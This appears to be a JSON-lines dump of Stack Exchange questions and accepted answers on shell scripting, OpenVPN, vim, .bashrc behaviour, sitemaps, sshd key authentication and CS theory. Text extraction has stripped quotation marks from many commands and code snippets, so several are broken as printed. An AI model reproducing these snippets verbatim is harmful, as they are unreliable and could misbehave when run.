{  "id": "_unix.214684"  , "question": "A continuation of this question: parse first column of command output, get corresponding second column valueSay I have a command that outputs a string formatted as a table, as shown below.What if the pattern I am looking for includes spaces? For example, if the table is:First Characteristic:     bSecond Characteristic:    89.4Version:                  58.93Name of Device:           myDeviceName of Device Load:      myDevice-load-123abcWhat if I want to get the value next to Name of Device Load in the table above?To clarify, I know the value I am looking for is next to Name of Device Load. I do not know that it is in the 5th row of the output, and I do not know anything about what that value would look like (So I can't try pattern matching with something like -load-, for example)."  , "title": "How to parse table for pattern if pattern includes spaces"  , "tags": "shell script;text processing"  , "accepted_answer": "What about this :cat your_file.txt | grep Name of Device Load: | cut -d : -f 2 | tr -d  This only keeps the line you are interested in, seperates it into two fields (works only if : is only present once per line), then remove spaces."  } 
{  "id": "_webapps.29197"  , "question": "I'd like to contact a developer on Github to see how I can help out, etc. Any way to do this? I don't see the option anywhere."  , "title": "Any way to contact a user on Github?"  , "tags": "github"  , "accepted_answer": "You can contact a GitHub user by going to her/his user page (https://github.com/[USERNAME]) and on the left-hand site you should see her/his email address (if they have provided one)."  } 
{  "id": "_unix.342056"  , "question": "First of all, sorry for the really long post. I have 2 routers home. Router 1 is on the first floor and router 2 is on the second floor. Router 2 is connected to Router 1 through an ethernet cable and uses DD-WRT firmware. Router 2 is acting as a switch (wireless Access Point) not as a router. I have a Computer running OpenVPN and the OS is centOS 7. My problem is as follows:1- CentOS machine connected to Router 1: OpenVPN client is able to connect to the OpenVPN server and get access to the home network and client is connected to the internet, can browse the web, use apps that requires internet connection, etc. 2- CentOS machine connected to Router 2: OpenVPN client is able to connect to the OpenVPN server and get access to the home network (ping other computers in the network etc. ) but no internet connectivity, cannot browse the web, use any other app that requires an internet connection, etc.Below my server.conf, client.ovpn and firewall configuration.server.conf:# Which TCP/UDP port should OpenVPN listen on?# If you want to run multiple OpenVPN instances# on the same machine, use a different port# number for each one. You will need to# open up this port on your firewall. port 1194# TCP or UDP server? ;proto tcp proto udp# dev tun will create a routed IP tunnel,# dev tap will create an ethernet tunnel.# Use dev tap0 if you are ethernet bridging# and have precreated a tap0 virtual interface# and bridged it with your ethernet interface.# If you want to control access policies# over the VPN, you must create firewall# rules for the the TUN/TAP interface.# On non-Windows systems, you can give# an explicit unit number, such as tun0.# On Windows, use dev-node for this.# On most systems, the VPN will not function# unless you partially or fully disable# the firewall for the TUN/TAP interface.  ;dev tap  dev tun# SSL/TLS root certificate (ca), certificate# (cert), and private key (key). Each client# and the server must have their own cert and# key file. The server and all clients will# use the same ca file.## See the easy-rsa directory for a series# of scripts for generating RSA certificates# and private keys. Remember to use# a unique Common Name for the server# and each of the client certificates.## Any X509 key management system can be used.# OpenVPN can also use a PKCS #12 formatted key file# (see pkcs12 directive in man page). ca ca.crt cert server.crt key server.key # This file should be kept secret# Diffie hellman parameters.# Generate your own with:# openssl dhparam -out dh2048.pem 2048 dh dh2048.pem# Configure server mode and supply a VPN subnet# for OpenVPN to draw client addresses from.# The server will take 10.8.0.1 for itself,# the rest will be made available to clients.# Each client will be able to reach the server# on 10.8.0.1. Comment this line out if you are# ethernet bridging. See the man page for more info. server 10.8.0.0 255.255.255.0# Maintain a record of client <-> virtual IP address# associations in this file. If OpenVPN goes down or# is restarted, reconnecting clients can be assigned# the same virtual IP address from the pool that was# previously assigned. ifconfig-pool-persist ipp.txt# If enabled, this directive will configure# all clients to redirect their default# network gateway through the VPN, causing# all IP traffic such as web browsing and# and DNS lookups to go through the VPN# (The OpenVPN server machine may need to NAT# or bridge the TUN/TAP interface to the internet# in order for this to work properly).  push redirect-gateway def1 bypass-dhcp# Certain Windows-specific network settings# can be pushed to clients, such as DNS# or WINS server addresses. CAVEAT:# http://openvpn.net/faq.html#dhcpcaveats# The addresses below refer to the public# DNS servers provided by opendns.com. push dhcp-option DNS 8.8.8.8 push dhcp-option DNS 8.8.4.4# The keepalive directive causes ping-like# messages to be sent back and forth over# the link so that each side knows when# the other side has gone down.# Ping every 10 seconds, assume that remote# peer is down if no ping received during# a 120 second time period. keepalive 30 120# Enable compression on the VPN link.# If you enable it here, you must also# enable it in the client config file.  comp-lzo# The maximum number of concurrently connected# clients we want to allow. ;max-clients 100# It's a good idea to reduce the OpenVPN# daemon's privileges after initialization.## You can uncomment this out on# non-Windows systems. user nobody group nobody# The persist options will try to avoid# accessing certain resources on restart# that may no longer be accessible because# of the privilege downgrade. persist-key persist-tun# Output a short status file showing# current connections, truncated# and rewritten every minute. status openvpn-status.log# By default, log messages will go to the syslog (or# on Windows, if running as a service, they will go to# the \\Program Files\\OpenVPN\\log directory).# Use log or log-append to override this default.# log will truncate the log file on OpenVPN startup,# while log-append will append to it. Use one# or the other (but not both).  log openvpn.log  ;log-append openvpn.log# Set the appropriate level of log# file verbosity. verb 3Client.ovpn:client_1 remote <IP> ca ca.crt cert client_1.crt key client_1.key proto udp port 1194 dev tun resolv-retry infinite nobind persist-key persist-tun comp-lzoFirewall configuration:firewall-cmd --permanent --add-service openvpn firewall-cmd --permanent --zone=trusted --add-interface=tun0 firewall-cmd --permanent --zone=trusted --add-masquerade firewall-cmd --permanent --direct --passthrough ipv4 -t nat -A POSTROUTING -s 10.8.0.0/24 -o $DEV -j MASQUERADENotes: I tried 2 clients, client 1 was using Fedora 25 and client 2 was IOS 10 (OpenVPN app), both client had the same results and worked when centOS machine with openVPN was connected to router 1 and loss connectivity to the internet when centOS machine with openVPN was connected to router 2.Router 2 is using 192.168.1.1 (router 1 IP) as default gateway."  , "title": "OpenVPN configuration problem"  , "tags": "centos;networking;openvpn;router"  } 
{  "id": "_softwareengineering.350615"  , "question": "I am working in a Peruvian company that develops desktop accounting software(.net C#).We have many clients (companies) each customer can create several companies, in addition there is a new database for each year of each company.Example:DBCOMPANY1_2045658512_2015--------------------------DBCOMPANY1_2045658512_2016DBCOMPANY1_2045658512_2017DBCOMPANY1_2008004100_2016--------------------------DBCOMPANY1_2008004100_2017The software we want to implement in web so that it can be commercialized with access to several companies, hundreds or thousands of monthly records, electronic billing.Existing client databases use store procedures but it is uncomfortable to update the triggers, store procedures on all existing databases.If it is advisable to use stored procedures as would the update of these for all databases? If it is ORM how would it affect system performance?"  , "title": "Stored procedures or ORM in web?"  , "tags": "c#;sql;orm;web;stored procedures"  } 
{  "id": "_vi.10063"  , "question": "What I usually do from bash/vim ... isopen file with vimgo to line to commentcomment a linesave and quitMy file is /usr/local/etc/php/7.0/conf.d/ext-xdebug.ini and the initial content is[xdebug]zend_extension=/usr/local/opt/php70-xdebug/xdebug.soI want to run a command that in one statement adds ; at the beginning of the second line.[xdebug]zend_extension=/usr/local/opt/php70-xdebug/xdebug.soIs it possible to do this directly from bash?"  , "title": "How to comment a line directly from bash using vim?"  , "tags": "comments;invocation;bash"  , "accepted_answer": "You can use:vim +'normal! 2GI;' +'x' path/to/your/fileThe + parameter allows to execute a command after opening the buffer.The first command normal! 2GI; goes to line 2 and add a ; at the beginning of the lineThe second command saves and exit.Bonus point: To uncomment the same line:vim +'normal! 2G^x' +'x' path/to/your/file"  } 
{  "id": "_softwareengineering.269910"  , "question": "Imagine I have two distinct OS processes (the actual OS is unimportant). Process A is responsible for playing a video file. Process B is responsible for playing the audio that accompanies the video file. Both processes are clients, connected via a local area network to a server.Assuming that the video and audio streams are synchronized at the file level, what mechanisms would I use to ensure that both processes coordinate with the server to absolutely ensure that once instructed they begin and continue playing in sync?This feels like a common problem but I am struggling to find any detailed, practical solutions."  , "title": "What's the best way to synchronise an event over multiple processes?"  , "tags": "synchronization"  , "accepted_answer": "According to EBU Recommendation R37:The relative timing of the sound and vision components of a television signal states that end-to-end audio/video sync should be within +40ms and -60ms (audio before / after video, respectively) and that each stage should be within +5ms and -15ms.This quote is the summary from the Audio to video synchronization wikipedia page.This suggests that you need timing accuracy measured in 10's of milliseconds.Karl Bielefeldt's suggestion of Precision Time Protocol was a good one, but seems like overkill to me. PTP has a sub microsecond accuracy (on a local LAN), so is 3 orders of magnitude (more than 1000 times) more accurate than we need and consequently much more difficult to implement.The much older and more widely available Network Time Protocol (NTP) should result in clocks being synchronised to within a millisecond on a LAN, which is an order of magnitude (more than 10 times) more accurate than we require. Even if your server and clients were on the Internet, you should be able to get clocks synchronisied to 10's of ms if you don't have problems with asymmetric routes and network congestion.NTP client/server software is standard on most operating systems, all you need to do is sync both clients to the same server. Note that even if both clients are individually synced to the server with an accuracy of plus/minus 1ms, with respect to each other they are only synchronsed to plus/minus 2ms (one could be 1ms ahead of the server while the other is 1ms behind), but this is still well within the threshold of perception.Once your system times are synchronised, clients would fill their initial buffer and inform the server of the earliest time they could guarantee starting to serve that content. Once the server had received both times, it would send the worst case time back to both clients and they would both be expected to start at that time.Finally, since clocks can drift over time, your clients and server would have to keep synchronising clocks, and if the video drifts too far from the audio, you should duplicate or skip frames of video to maintain synchronisation. This should only be needed if you are running very long streams though.Incidentally, the reason for adjusting the video rather than the audio is that we are far less likely to notice a 1 frame dup/skip in video (assuming 20fps or higher) than even a 1/60th of a second audio glitch."  } 
{  "id": "_cstheory.1611"  , "question": "For a given graph $G$, the Separator Problem asks whether a vertex or edge set of small cardinality (or weight) exists whose removal partitions $G$ into two disjoint graphs of approximately equal sizes. This is called the Vertex Separator Problem when the removed set is a vertex set, and the Edge Separator Problem when it is an edge set. Both problems are NP-complete for general unweighted graphs. What is the best known hardness of approximating vertex separator ? Is a PTAS ruled out ? What are the best known hardness results in the directed setting ?Correction : The following links and answers did not help me because I did not state my question correctly. My question is related to the following theorem of Leighton-Rao :Theorem : There exists a polynomial time algorithm that, given a graph $G(V,E)$ and a set $W \\subseteq V$, finds a $\\frac{2}{3}$ vertex separator $S \\subseteq V$ of $W$ in $G$ of size $O(w.{\\log}n)$, where $w$ is the minimum size of a $\\frac{1}{2}$-vertex separator of $W$ in $G$.Given a graph $G(V,E)$ and a set $W \\subseteq V$, I want to find a $\\delta$-vertex separator (where $\\frac{1}{2} \\leq \\delta \\leq 1$ is a constant) of size $w$, where $w$ is the minimum size of a $\\frac{1}{2}$-vertex separator of $W$ in $G$. What is the best known hardness of this problem ? The above theorem gives an $O({\\log}n)$ approximation for this problem.Note that I am allowing constant factor blow-up in the size of the resulting components after removing the separator, but I want to minimize the size of the separator itself. The links mentioned in the comments point to minimum b-vertex separator, in which we insist that the size of the resulting components is at most $|V|/2$."  , "title": "Hardness of Vertex Separators"  , "tags": "cc.complexity theory;approximation hardness"  } 
{  "id": "_cs.67537"  , "question": "This question stems from this question and this answer. I also want to preface this question by stating that this question is done from the perspective of a RAM (or PRAM if it's more accurate term) model. From the comments in the answer, it seems like when doing algorithm analysis for the solution:$O(n)$ solution (guaranteed): sum up the elements of the first array. Then, sum up the elements of the second array. Finally, perform the substraction.for the problem of:finding the number that is different between two arrays (I'm assuming  a fixed size structure, if it matters) of unsorted numbers (paraphrased by me)that it isn't as black and white as just coming to the conclusion as $2n$ (1 pass for each array), because you have to take into account the size of the number too. That is the part I am confused about. I've asked one of the commenters to elaborate a bit more for me: My idea is that while the time to add two numbers is proportional to their length, but there are $O(\\log n)$ extra bits that the partial sums have over the longest input. Now, there are two things that complicate things. First, the inputs need not have the same length, but we'd like complexity in terms of their total length. If your addition is proportional to the longer number, you might rack up $O(n^2)$ quite easily. The solution is to add in place, which means the addition is proportional to the addend length - if not for carry. Now you just need to find how many carries you can have.Despite this pretty detailed comment, I'm still having difficulty understanding why it's different. (I suspect the reason is due to my ignorance of the lower level ongoings of a computer and numerical representations). Not wanting to test their patience, I googled it and asked here, but unable to properly articulate the question, the most I found was this answer, which seems to echo the quote above (I think), thus didn't help me further.Is it possible to simplify the explanation by perhaps illustrating it or elaborating further? Or is this as simple as it can get (and I just need to get the prerequisite knowledge)?"  , "title": "How does size of a number in an array affect time complexity algorithm analysis?"  , "tags": "algorithms;algorithm analysis;runtime analysis;search algorithms;computation models"  , "accepted_answer": "Runtime analysis as it is done in practice is not terribly rigorous. This is why you can have different answers that are equally correct, they just differ in their assumptions.To do a formally correct runtime analysis you first have to define a machine model. Almost nobody does this explicitly, usually some variant of the RAM is used. Then you write your algorithm using only operations your machine supports. This is not typically done either, usually some form of pseudo-code is used and the mapping to the machine instructions is assumed to be obvious. Only after doing these steps you can start counting how many instructions you use to solve an instance.In the question you linked, the proposed algorithm summed a list of $n$ numbers. In a casual runtime analysis one typically assumes that adding two numbers takes constant time. This is true for the RAM, but it's not true in the more realistic Word-RAM model. In the Word-RAM (and in real computers), you can only operate on $k$ bits at once. If the numbers you want to add are too big to fit in $k$ bits you need more than one operation. This is the same if you add numbers by hand: For small numbers (say with only 1 digit) you know the result by heart, for large numbers you have to manually add each digit and take care of the carry and so on.So if you run with the assumption that additions take constant time, summing a list of numbers takes linear time. If you want to be more precise, the length of the list alone is not sufficient to determine the runtime. You need to know how many bits your numbers have and a more reasonable $n$ for your runtime bound is the number of bits you need to encode your list. You should also think about the exact algorithm you use for adding two numbers and the order in which you add the numbers of your list, as this can have an influence on the runtime.If you want to see examples of very rigorous runtime analysis, I recommend Knuth's TAOCP. He defines his own machine and writes his algorithms using only simple machine instructions."  } 
{  "id": "_unix.154395"  , "question": "I cannot copy a file over scp when the remote machine .bashrc file includes source command to update paths and some variables. Why does it happen?"  , "title": "Running scp when .bashrc of remote machine includes source command"  , "tags": "scp"  , "accepted_answer": "You should make part or all of your .bashrc not run when your shell is non-interactive.  (An scp is an example of a non-interactive shell invocation, unless someone has radically altered your systems.)  Then put all commands that can possibly generate output in that section of the file.A standard way to do this in an init file is:# Put all the commands here that should run regardless of whether# this is an interactive or non-interactive shell.# Example command:umask 0027# test if the prompt var is not setif [ -z $PS1 ]; then    # prompt var is not set, so this is *not* an interactive shell    exitfi# If we reach this line of code, then the prompt var is set, so# this is an interactive shell.# Put all the commands here that should run only if this is an# interactive shell.# Example command:echo Welcome, ${USER}.  This is the ~/.bashrc file.You might also see people use[ -z $PS1 ] && exitinstead of my more verbose if statement.If you don't want to rearrange your whole file, you can also just make certain lines run only in interactive context by wrapping them like so:if [ -n $PS1 ]; then    echo This line only runs in interactive mode.fiIf you segregate your .bashrc this way, then your scp commands should no longer have this problem."  } 
{  "id": "_softwareengineering.310752"  , "question": "I need to develop a solution for a problem that requires multiple HTTP/ Socks proxies for different HTTP requests.The solution needs to be cross platform.Here is my idea how it needs to work:    createThread(Proxy proxy)    ---- Thread Code    setupProxy(proxy);    Do(){       HTTP_Request_List.add(GenerateHTTPRequest()) x10       While(true){           for(i=0;i<HTTP_Request_List.size();++i){             Send_Request(i)           }        sleep(5000)        }    }Since each 5 seconds the HTTP request will need to be replayed using the same proxy, I'm forced to use a thread solution where I keep a proxy unique to that thread?Could this achieved with node.js or a single thread solution with a better performance?"  , "title": "Best way to handle multiple proxies and HTTP requests"  , "tags": "performance;http request"  } 
{  "id": "_unix.119866"  , "question": "I want to search for (+1) in a string (which is a GDG dataset name to confirm if it is a GDG) and want to get a binary answer if it has (+1) as part of the string or not. Can some one please help?"  , "title": "How to search '(+1)' character substring in a string"  , "tags": "linux;shell script;grep"  } 
{  "id": "_unix.78801"  , "question": "So here I have a simple function that I wish to debug.  However, I am unable to debug the desired function even with set -o functrace enabled.   Before resorting to asking this question, I had managed to find a possible solution that did not produce the desired results, which is located here.How can I get bash debug my functions?#!/bin/bashecho Hello Worldhello() {    echo Hello world}output:user@mac11:53:29~/desktop bash -x debug.sh + echo 'Hello World'Hello Worlduser@mac11:54:55~/desktop "  , "title": "Debugging bash functions"  , "tags": "bash;shell"  , "accepted_answer": "but that answer in the link does seem to work ........   Kaizen ~/so_test $ cat zhello.sh  set -x ;  set -o functrace  hello()  {   name=$1;   echo Hello , how are you $name; } hello itin ;output is :  Kaizen ~/so_test $ ./zhello.sh  + ./zhello.sh                     --  script was run  ++ set -o functrace ++ hello itin                      -- function was invoked ++ name=itin                       -- variable assigned within the function hello  ++ echo 'Hello , how are you itin' Hello , how are you itin           -- printed the output from the function ...I am a bit curious , is there something specific you looking for ?"  } 
{  "id": "_unix.259394"  , "question": "I'm running Vagrant and VirutalBox and wants to use a host only network. I use the following configuration:config.vm.network private_network, ip: 33.33.33.33However my host doesn't get an IP address (33.33.33.1). Vagrant won't tell me this, I had to run ip addr to figure this out. Note that NFS won't work by this."  , "title": "VirtualBox/Vagrant host only network host doesn't get IP address"  , "tags": "virtualbox;opensuse;vagrant"  , "accepted_answer": "I found out how to solve this. It is just a stupid error. VirtualBox use the network utility ifconfig which is deprecated for many distributions. I had net-tools installed which will install ifconfig but it looks like not all sub commands are support with this.The solution is to install net-tools-deprecated. https://software.opensuse.org/package/net-tools-deprecated"  } 
{  "id": "_softwareengineering.283703"  , "question": "As a developer I am used to keep my Python tools updated. Especially packages needed for installing and bundling. Using the most recent releases of pip, virtualenv and setuptools is in my personal experience the most reliable choice.I have been told recently that from an operations perspective, I should not touch the preinstalled releases of pip on the production machine. So to speak: The typical pip install -U pip in the virtualenv was a security risk.There are valid concerns I think, but I do wonder whether this really is the best practice for running services developped with Python. Pip as it is in Debian 7 for example is quite old.So my questionsWhat are the best practices here for running Python services securely?Are there ways to move the split worlds (OS Package Tree and Python Package Tree) closer together?"  , "title": "Python packages from an operations perspective"  , "tags": "python;devops;operations"  } 
{  "id": "_webmaster.85062"  , "question": "According to this Google help document, we can create a sitemap telling Google that we have more than one language. But this requires indicating each URL with different languages every time. That means if you have one URL and three languages, you need to specify a <url> element with a <loc> tag and multiple <xhtml:link> subelements. If you have twenty URLs and fifteen languages, you would then need ten <url> elements with 20*15^2 <xhtml:link> subelements. That equates to 4500 <xhtml:link> in the same sitemap.xml file, which is a lot!For Example:<?xml version=1.0 encoding=UTF-8?><urlset xmlns=http://www.sitemaps.org/schemas/sitemap/0.9  xmlns:xhtml=http://www.w3.org/1999/xhtml>  <url>    <loc>http://www.example.com/english/</loc>    <xhtml:link                  rel=alternate                 hreflang=de                 href=http://www.example.com/deutsch/                 />    <xhtml:link                  rel=alternate                 hreflang=de-ch                 href=http://www.example.com/schweiz-deutsch/                 />    <xhtml:link                  rel=alternate                 hreflang=en                 href=http://www.example.com/english/                 />  </url>  <url>    <loc>http://www.example.com/deutsch/</loc>    <xhtml:link                  rel=alternate                 hreflang=en                 href=http://www.example.com/english/                 />     <xhtml:link                  rel=alternate                 hreflang=de-ch                 href=http://www.example.com/schweiz-deutsch/                 />     <xhtml:link                  rel=alternate                 hreflang=de                 href=http://www.example.com/deutsch/                 />  </url>  <url>    <loc>http://www.example.com/schweiz-deutsch/</loc>     <xhtml:link                  rel=alternate                 hreflang=de                 href=http://www.example.com/deutsch/                 />     <xhtml:link                  rel=alternate                 hreflang=en                 href=http://www.example.com/english/                 /><xhtml:link                  rel=alternate                 hreflang=de-ch                 href=http://www.example.com/schweiz-deutsch/                 />  </url></urlset>Is there a better practice for this?"  , "title": "Is there a more efficient way to specify multiple languages for Google in a sitemap?"  , "tags": "google;sitemap;multilingual"  , "accepted_answer": "I'd like to increase compatibility of my sitemaps to as many search engines as possible. For this reason, I'd like to only insert my URLs between <loc> and </loc> only. For example:<loc>http://www.example.com/english/</loc><loc>http://www.example.com/french/</loc><loc>http://www.example.com/german/</loc>Also, I'd define the language when each URL is accessed in the following ways:Using the content-language HTTP header. For example: Content-Language: daadding the lang attribute to the HTML tag. For example: <html lang=da>There is also an accept language header that tells you what languages the client (including google) accepts when scanning your page if the client specifies any. That way you won't have google index pages in languages it does not support.Here's more info on the HTTP headers:https://en.wikipedia.org/wiki/List_of_HTTP_header_fieldsHere's more info on the attributes that can be applied to the HTML tag:http://www.w3schools.com/tags/ref_language_codes.asp"  } 
{  "id": "_unix.7899"  , "question": "Installing something in windows takes a click of a button. But every time I try to install something in linux, which is not found in APT, I get so confused. You download a zipped folder, then what? If you are lucky there is a README, refering to some documentation, which might help you, if you are lucky. What is the magic trick when installing extensions and applications which aren't found in APT? I love linux, but this problem haunts me every day."  , "title": "How do I know where to put things in linux?"  , "tags": "software installation;directory structure"  , "accepted_answer": "If it is a software which obeys the Filesystem Hierarchy Standard than you should place it in /usr/local and the appropriate subdirectories (like bin, lib, share, ...).Other software should be placed in their own directory under /opt. Then either set your PATH variable to include the bin directory or whatever directory which holds the executables, or create symbolic links to /usr/local/bin."  } 
{  "id": "_cs.70247"  , "question": "The Ethernet MAC address FF:FF:FF:FF:FF:FF is reserved for broadcasts. If all frames are naturally broadcast in a LAN, what is the need for a broadcast address? "  , "title": "If all frames are naturally broadcast in a LAN, what is the need for a broadcast address?"  , "tags": "computer networks"  } 
{  "id": "_unix.38836"  , "question": "I noticed in my local webserver logs that the IPv6 address of my desktop changed after upgrading to Kubuntu 12.04.inet6 addr: identical:identical:identical:identical:changed:changed:changed:changed/64 Scope:GlobalWhy did this happen, how can I avoid .htaccess rules from breaking during OS upgrades?"  , "title": "IPv6 address changed after upgrade. Why? and how can I harden my .htaccess against this?"  , "tags": "apache httpd;ipv6;htaccess"  , "accepted_answer": "It depends on how your address was configured in the first place. You can configure a static address if you don't want it to change. If you use DHCPv6 then it depends a lot on the DHCP server. If you use plain SLAAC (stateless autoconf) then it should remain stable as long as your MAC address of your network adapter is stable, and it you use SLAAC with privacy extensions than it is not stable by design. "  } 
{  "id": "_unix.363761"  , "question": "I'm looking to automate a process whereby a part of the filename is what is used to replace a value inside the file itself.Currently I use a manual process that looks like this:get the orgname manually$ grep -o orgname......... *2017-04* |uniq...uname=123456&**orgname=ABC5678**&userType=PERSISTENT&userLoginName=someusername&eventType=FAILED_LOGIN_ATTEMPT&timeOfOccurrence=2017-03-12%2016%3A49%3A36Then replace orgname with new name$ sed -i 's/ABC1234/5678/g' `*`5678`*` ; sed -i 's/DEF2345/6789/g' `*`6789`*`; sed -i etc...The final result would look like this:uname=123456&orgname=**1234**&userType=PERSISTENT&userLoginName=someusername&eventType=FAILED_LOGIN_ATTEMPT&timeOfOccurrence=2017-03-12%2016%3A49%3A36The files are named like this:rsa.collect.rsa-IB_L**1234**-2017-03-12.log.web1.decryptWhatever is after orgname= needs to change from ABC5678 to whatever comes after Lxxxx, only in files with the same xxxx in its filename.I'm having a hard time getting my head around how to extract that number from the file name and using it in a sed.  There are hundreds of files (each with their own date) and 6 different number pairs to work with.  I'm hoping to write a bash script that does this all at once.I was trying to use grep -P combined with putting that into some sort of variable and using sed but maybe there is a better/easier way?Let me know if there are any additional questions."  , "title": "How to extract part of a string from a filename and sed it into that file"  , "tags": "shell script;sed;grep;regular expression;string"  , "accepted_answer": "Once the filename is in a variable, you can use a shell parameter expansion operator to extract part of it. Then substitute that into the sed command. Below I use the substring operator to get 4 characters starting from position 20.for file in rsa.collect.rsa-IB_L*.log.web1.decrypt; do    orgname=${file:20:4}    sed -i s/orgname=[^&]*/orgname=$orgname/ $filedone"  } 
{  "id": "_unix.123867"  , "question": "I used locate binary many time to search something on my 1TB HDD.Most of the time, I got many result and I have to read each line to get what exactly I'm looking for.It would be great if the locate can output the matched pattern with color ( just like grep --color)Is there any way to do so for locate command ?"  , "title": "locate with color"  , "tags": "locate"  , "accepted_answer": "The easiest way is to write a simple shell script which combines locate and grep:Create a file somewhere in your $PATH (e.g. /usr/local/bin/clocate) with #!/bin/shlocate --regex $1 | grep --color=auto $1then make it executable, e.g.chmod +x /usr/local/bin/clocateand use it like locate. The script does only accept one pattern.Another way is to use a shell function: If you are using bash as your shell, you can add to your $HOME/.bashrc the following line:clocate() { locate --regex  $1 | grep --color=auto $1; }You need to rerun bash or re-source your .bashrc before you can the new command. Please note the --regex option for locate. You need to write .* instead of *  to match any number of characters."  } 
{  "id": "_webapps.99495"  , "question": "I have a list of (unique) numbers which I want to drag on another column but have it repeat each an X number of times.Column A: current data;Column B: desired output for X=2;--------------------------------------------------|   |    A     |     B                            |--------------------------------------------------| 1 |  Number  |  Repeat number twice             |--------------------------------------------------| 2 |   123    |     123                          |--------------------------------------------------| 3 |   231    |     123                          |--------------------------------------------------| 4 |   444    |     231                          |--------------------------------------------------| 5 |   312    |     231                          |--------------------------------------------------| 6 |   543    |     444                          |--------------------------------------------------I want a way of dragging down starting at B2 all the way down to B:1000 and repeat each number in column A an X amount of times."  , "title": "Repeat X times when dragging down"  , "tags": "google spreadsheets"  , "accepted_answer": "It's possible with a rather simple formula. Enter this formula in the first cell you want to drag from, and then just drag down.=INDIRECT(A&(ROUNDUP(ROW(A1)/2)+ROW(A$2)-1))ExplanationINDIRECT() takes a string argument and returns a cell reference  A& just tells us which column to look for values inROUNDUP(ROW(A1)/2) is what gives is the repeating row numbersIt always starts on row 1, which gives us 1/2 rounded up = 1Next time 2/2 rounded up = also 1Then 3/2 rounded up = 24/2 = 2And so forthThe reason for using a cell reference is for the number to increase when dragging down.+ROW(A$2)-1 moves down to the specific row.In this case we move down 1 row (2-1)In most cases this could be set to the cell above the first value (+ROW(A$1)), but it wouldn't work when the value is in the first rowModificationYou'd have to modify this if the cells aren't exactly as in your example. The string A refers to the column with the values that should be repeatedA2 refers to the cell in the first row in the column (row 1, in any column really, not the first row with a value)A$2 is the first cell with a valueIf, for example, your first value is in B12 you change it to:=INDIRECT(B&(ROUNDUP(ROW(B1)/2)+ROW(B$12)-1)) "  } 
{  "id": "_unix.17677"  , "question": "Whenever I try to transcode a movie or a large video file, my laptop always switches off abruptly some time after the transcoding has begun. I initially thought that this had something to do with my DVD drive but even when I tried converting videos from a hard drive, the problem remained. I've switched from Handbrake to VLC and still the problem remains.When I opened System Monitor when the converting was going on, the CPU usage is around 100%. Is this a hardware problem or is it something wrong with the software?"  , "title": "laptop running arch abruptly switches off when ripping video files"  , "tags": "arch linux;video encoding"  , "accepted_answer": "I would suggest that this is probably a hardware problem, most likely a CPU overheat issue. You might be able to prove this by running some other kind of stress test or checking your BIOS for what the warning and critical levels are and making sure their is an audible warning at a lower temp than the critical shut off level."  } 
{  "id": "_unix.124187"  , "question": "Is it possible to configure OpenSSH (or any other standard sshd) to accept any key offered by a connecting client?EG ssh -i ~/arbitraryKey hostname grants a login shell while ssh hostanme doesn't.I ask because of a half remembered anecdote about a misconfigured server but I've had a look and I couldn't find anything that would actually let this happen without some form of deliberate hacking of the daemon. (Recompiling etc)"  , "title": "Accept any private key for authentication"  , "tags": "openssh;sshd;key authentication"  , "accepted_answer": "Configuring an SSH server to accept any password would be easy with PAM  put pam_permit on the auth stack, and voil. The possibility of misconfiguring such an open system is inherent to the flexibility of PAM since it lets you chain as many tests as you want, the possibility of doing 0 tests is unavoidable (at least without introducing weird exceptions that wouldn't cover all cases).Key authentication doesn't go through PAM, and there's no configuration setting for accept any key. That would only be useful in extremely rare cases (for testing or honeypots), so it isn't worth providing it as an option (with the inherent risk of misconfiguration)."  } 
{  "id": "_unix.78653"  , "question": "I am looking for an operating system where the login screen asks for a username and password for an rdp login prompt. I want an administrator to also be able to login to change the i.p. address for the server that hosts the accounts. Any suggestions?"  , "title": "RDP only Operating System"  , "tags": "login;remote desktop"  } 
{  "id": "_codereview.68880"  , "question": "I'm trying to create a very simple jQuery plugin in the object-oriented way. Now, I'm not sure whether the code I produced is correct and efficient OO programming. The plugin's aim is to change the navigation ul  li based on the clicked country.jsFiddle// Widget container(function($) {// Widget container plugin    $.fn.myWidget = function () {        this.each (function () {            // Vars            var item = $ (this);            // Set events            item.click (function (e) {                if (e) e.preventDefault ();                combine_all(item);            });        });    };    //uk navigation    var uk_navigation = '<ul>'        +'<li id=menu-1>UK stuff</li>'        +'<li id=menu-2>UK phones</li>'        +'</ul>';    //global navigation    var global_navigation = '<ul>'        +'<li id=menu-1>EU stuff</li>'        +'<li id=menu-2>EU phones</li>'        +'</ul>';    //italy navigation    var italy_navigation = '<ul>'        +'<li id=menu-1>Italy stuff</li>'        +'<li id=menu-2>Italy phones</li>'        +'</ul>';    //germany    var germany_navigation = '<ul>'        +'<li id=menu-1>Germany stuff</li>'        +'<li id=menu-2>Germany phones</li>'        +'</ul>';    this.get_region = function(item){        my_region = $ (item).attr ('id');        return my_region;    };    this.make_active = function(item){        item.each(function(){            item.siblings().removeClass('flag-active');        });        item.addClass('flag-active');    }    this.update_navigation = function(my_region){        var old_navigation = $('#navigation').find('ul');        var new_navigation;        if(my_region==='europe_flag'){            new_navigation = global_navigation;        }else if(my_region==='uk_flag'){            new_navigation = uk_navigation;        }else if(my_region==='germany_flag'){            new_navigation = germany_navigation;        }else{            new_navigation = italy_navigation;        }        $(old_navigation).hide().html(new_navigation).fadeIn(800);    };    this.combine_all = function(item){        this.get_region (item);        this.update_navigation(my_region);        this.make_active(item);    };})(jQuery);// Main$(function() {    $('#flags').find('div').myWidget();});"  , "title": "Change the navigation ul li based on the clicked country"  , "tags": "javascript;jquery;html;object oriented"  } 
{  "id": "_cstheory.38621"  , "question": "Given a Boolean formula $\\varphi$ over the variables $\\{x_1...x_n\\}$ , an assignment $T_0$ for $\\varphi$ and an integer $k$, I am interested in the following question:Does $k$ is the minimal number of bits that we have to change with respect to $T_0$ to change the value of $\\varphi$? I.e. there exists an assignment $T_1$ such that $T_1$ is different from $T_0$ in at least $k+1$ different places and $T_0(\\varphi) \\neq T_1(\\varphi)$, and for all $T$ such that $T$ is different from $T_0$ in $k$ places or less, it holds that $T(\\varphi)=T_0(\\varphi)$.Edit : I suspect that this problem is in dp, but can't prove its completeness. Ideas wil be welcome"  , "title": "Dp completeness of a problem"  , "tags": "cc.complexity theory;complexity classes;polynomial hierarchy"  } 
